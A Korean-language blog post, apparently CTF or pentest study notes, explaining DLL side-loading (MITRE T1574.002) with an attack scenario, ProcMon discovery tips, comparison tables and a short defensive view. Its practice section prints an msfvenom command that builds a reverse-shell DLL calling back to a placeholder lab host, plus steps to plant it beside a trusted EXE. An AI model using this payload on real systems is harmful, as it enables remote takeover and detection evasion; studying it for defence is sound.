ddl sideloading (Dynamic link library)

agnusdeiยท2025๋…„ 7์›” 6์ผ

CTF

๋ชฉ๋ก ๋ณด๊ธฐ
35/185

๐Ÿงฉ DLL ์‚ฌ์ด๋“œ ๋กœ๋”ฉ (DLL Side-Loading) ์ด๋ž€?

โœ… ์ •์˜:

์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์‹คํ–‰ ํŒŒ์ผ(EXE)์ด ์•…์„ฑ DLL์„ ๋กœ๋“œํ•˜๋„๋ก ์œ ๋„ํ•˜๋Š” ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค.

์‰ฝ๊ฒŒ ๋งํ•ด:

  • ์–ด๋–ค ์ •์‹ ํ”„๋กœ๊ทธ๋žจ(EXE)์€ ์‹คํ–‰๋  ๋•Œ ํŠน์ • DLL์„ ์ž๋™์œผ๋กœ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.
  • ์ด๋•Œ ํ•ด์ปค๊ฐ€ ๋งŒ๋“  ์•…์„ฑ DLL์„ ๊ฐ™์€ ํด๋”์— ๋‘๋ฉด, ํ”„๋กœ๊ทธ๋žจ์ด ๊ทธ๊ฑธ ์ •์ƒ DLL์ธ ์ค„ ์•Œ๊ณ  ๋กœ๋”ฉํ•จ.

โœ… DLL ์‚ฌ์ด๋“œ๋กœ๋”ฉ์€ ํ•ฉ๋ฒ•์ ์ธ ํ”„๋กœ๊ทธ๋žจ์„ ์ด์šฉํ•œ ์šฐํšŒ ์ˆ˜๋‹จ์ž…๋‹ˆ๋‹ค โ†’ ํƒ์ง€ ํšŒํ”ผ(Defense Evasion) ๋ชฉ์ ๋„ ํผ.


๐ŸŽฏ ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค ์˜ˆ์ œ

์˜ˆ: ์‹ ๋ขฐ๋œ EXE๊ฐ€ abc.dll์„ ๋กœ๋”ฉํ•œ๋‹ค๊ณ  ๊ฐ€์ •

๊ณต๊ฒฉ ๋‹จ๊ณ„:

  1. ๋งˆ์ดํฌ๋กœ์†Œํ”„ํŠธ์—์„œ ๋ฐฐํฌํ•œ ์ •์ƒ ํ”„๋กœ๊ทธ๋žจ program.exe ์‚ฌ์šฉ
  2. program.exe๊ฐ€ ์‹คํ–‰ ์‹œ abc.dll์„ ๋กœ๋“œํ•˜๋Š” ๊ฑธ ํ™•์ธ (ProcMon ๋“ฑ์œผ๋กœ)
  3. ๊ณต๊ฒฉ์ž๋Š” ์•…์„ฑ์ฝ”๋“œ ๋„ฃ์€ abc.dll์„ ๊ฐ™์€ ํด๋”์— ๋‘ 
  4. program.exe ์‹คํ–‰ ์‹œ ์•…์„ฑ DLL๋„ ํ•จ๊ป˜ ์‹คํ–‰๋จ ๐Ÿ˜ˆ

๐Ÿงช ์‹ค์Šต ์˜ˆ์‹œ

# 1. ์•…์„ฑ DLL ์ œ์ž‘
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.XX LPORT=4444 -f dll -o abc.dll

# 2. ์‹ ๋ขฐ๋œ EXE์™€ ๊ฐ™์€ ๋””๋ ‰ํ† ๋ฆฌ์— ๋ณต์‚ฌ
cp abc.dll /tmp/folder_with_trusted_program/
cp program.exe /tmp/folder_with_trusted_program/

# 3. ์‹คํ–‰
cd /tmp/folder_with_trusted_program/
./program.exe

์ด๋Ÿฌ๋ฉด ๊ณต๊ฒฉ์ž์˜ ๋ฆฌ๋ฒ„์Šค์‰˜๋กœ ์—ฐ๊ฒฐ๋ฉ๋‹ˆ๋‹ค.


๐Ÿ” ์–ด๋–ป๊ฒŒ ๋Œ€์ƒ์ด ์–ด๋–ค DLL์„ ๋กœ๋”ฉํ•˜๋Š”์ง€ ์•Œ ์ˆ˜ ์žˆ์„๊นŒ?

โžก๏ธ ProcMon (Process Monitor) ํˆด ์‚ฌ์šฉ:

  • program.exe ์‹คํ–‰ ํ›„,
  • ์–ด๋–ค DLL์„ ์–ด๋””์—์„œ ์ฐพ๋Š”์ง€ ๋กœ๊ทธ ํ™•์ธ
  • ์—†๋Š” DLL์„ ์ฐพ์œผ๋ ค ํ•œ๋‹ค๋ฉด ๊ทธ ์ด๋ฆ„์œผ๋กœ ๋งŒ๋“  DLL์„ ์‹ฌ์„ ์ˆ˜ ์žˆ์Œ

๐Ÿง  ๊ด€๋ จ MITRE ATT\&CK ์ •๋ณด

ํ•ญ๋ชฉ๋‚ด์šฉ
ATT\&CK IDT1574.002 โ€“ DLL Side-Loading
TacticExecution, Defense Evasion
Descriptionํ•ฉ๋ฒ•์ ์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ํ†ตํ•ด ์•…์„ฑ DLL ์‹คํ–‰

๐Ÿ“ ์‚ฌ์ด๋“œ๋กœ๋”ฉ๊ณผ ๋น„์Šทํ•œ ๊ฐœ๋…๋“ค

๊ธฐ๋ฒ•์„ค๋ช…
DLL HijackingDLL ๊ฒฝ๋กœ ์ทจ์•ฝ์  (์˜ˆ: Unquoted Path) ์ด์šฉ
DLL Injection๋ฉ”๋ชจ๋ฆฌ ๋‚ด ํƒ€ ํ”„๋กœ์„ธ์Šค์— ์ง์ ‘ DLL ์‚ฝ์ž…
DLL Side-Loadingํ•ฉ๋ฒ•์ ์ธ EXE๊ฐ€ ์•…์„ฑ DLL์„ ์‹คํ–‰ํ•˜๊ฒŒ ์œ ๋„

๐Ÿ›ก๏ธ ๋ฐฉ์–ด ๊ด€์ ์—์„œ ๋ณด๋ฉด?

  • ์ฝ”๋“œ ์„œ๋ช…๋œ EXE๋ผ๋„, DLL ์œ„์น˜๋งŒ ์กฐ์ž‘ํ•˜๋ฉด ์•…์„ฑ์ฝ”๋“œ ์‹คํ–‰ ๊ฐ€๋Šฅ
  • ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฐ”์ด๋Ÿฌ์Šค๋ฅผ ๋งŒ๋“ค์ง€ ์•Š๊ณ ๋„ ์•…์„ฑ ํ–‰์œ„๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์–ด์„œ ํƒ์ง€ ์–ด๋ ค์›€

๐Ÿ“š ๋งˆ๋ฌด๋ฆฌ ์š”์•ฝ

ํ•ญ๋ชฉ์„ค๋ช…
๋ชฉ์ ํƒ์ง€ ์šฐํšŒ + ์ฝ”๋“œ ์‹คํ–‰
ํ•„์š” ์กฐ๊ฑดDLL ๋กœ๋”ฉ ๊ตฌ์กฐ๋ฅผ ๊ฐ€์ง„ ์‹ ๋ขฐ๋œ EXE
ํˆดProcMon, msfvenom, Cobalt Strike ๋“ฑ
์‹ค์Šต ํฌ์ธํŠธEXE๊ฐ€ ์ฐพ๋Š” DLL ์ด๋ฆ„ ํŒŒ์•… โ†’ ๊ฐ™์€ ์ด๋ฆ„์œผ๋กœ ์•…์„ฑ DLL ๋ฐฐ์น˜

profile
DevSecOps, Pentest, Cloud(OpenStack), Develop, Data Engineering, AI-Agent

0๊ฐœ์˜ ๋Œ“๊ธ€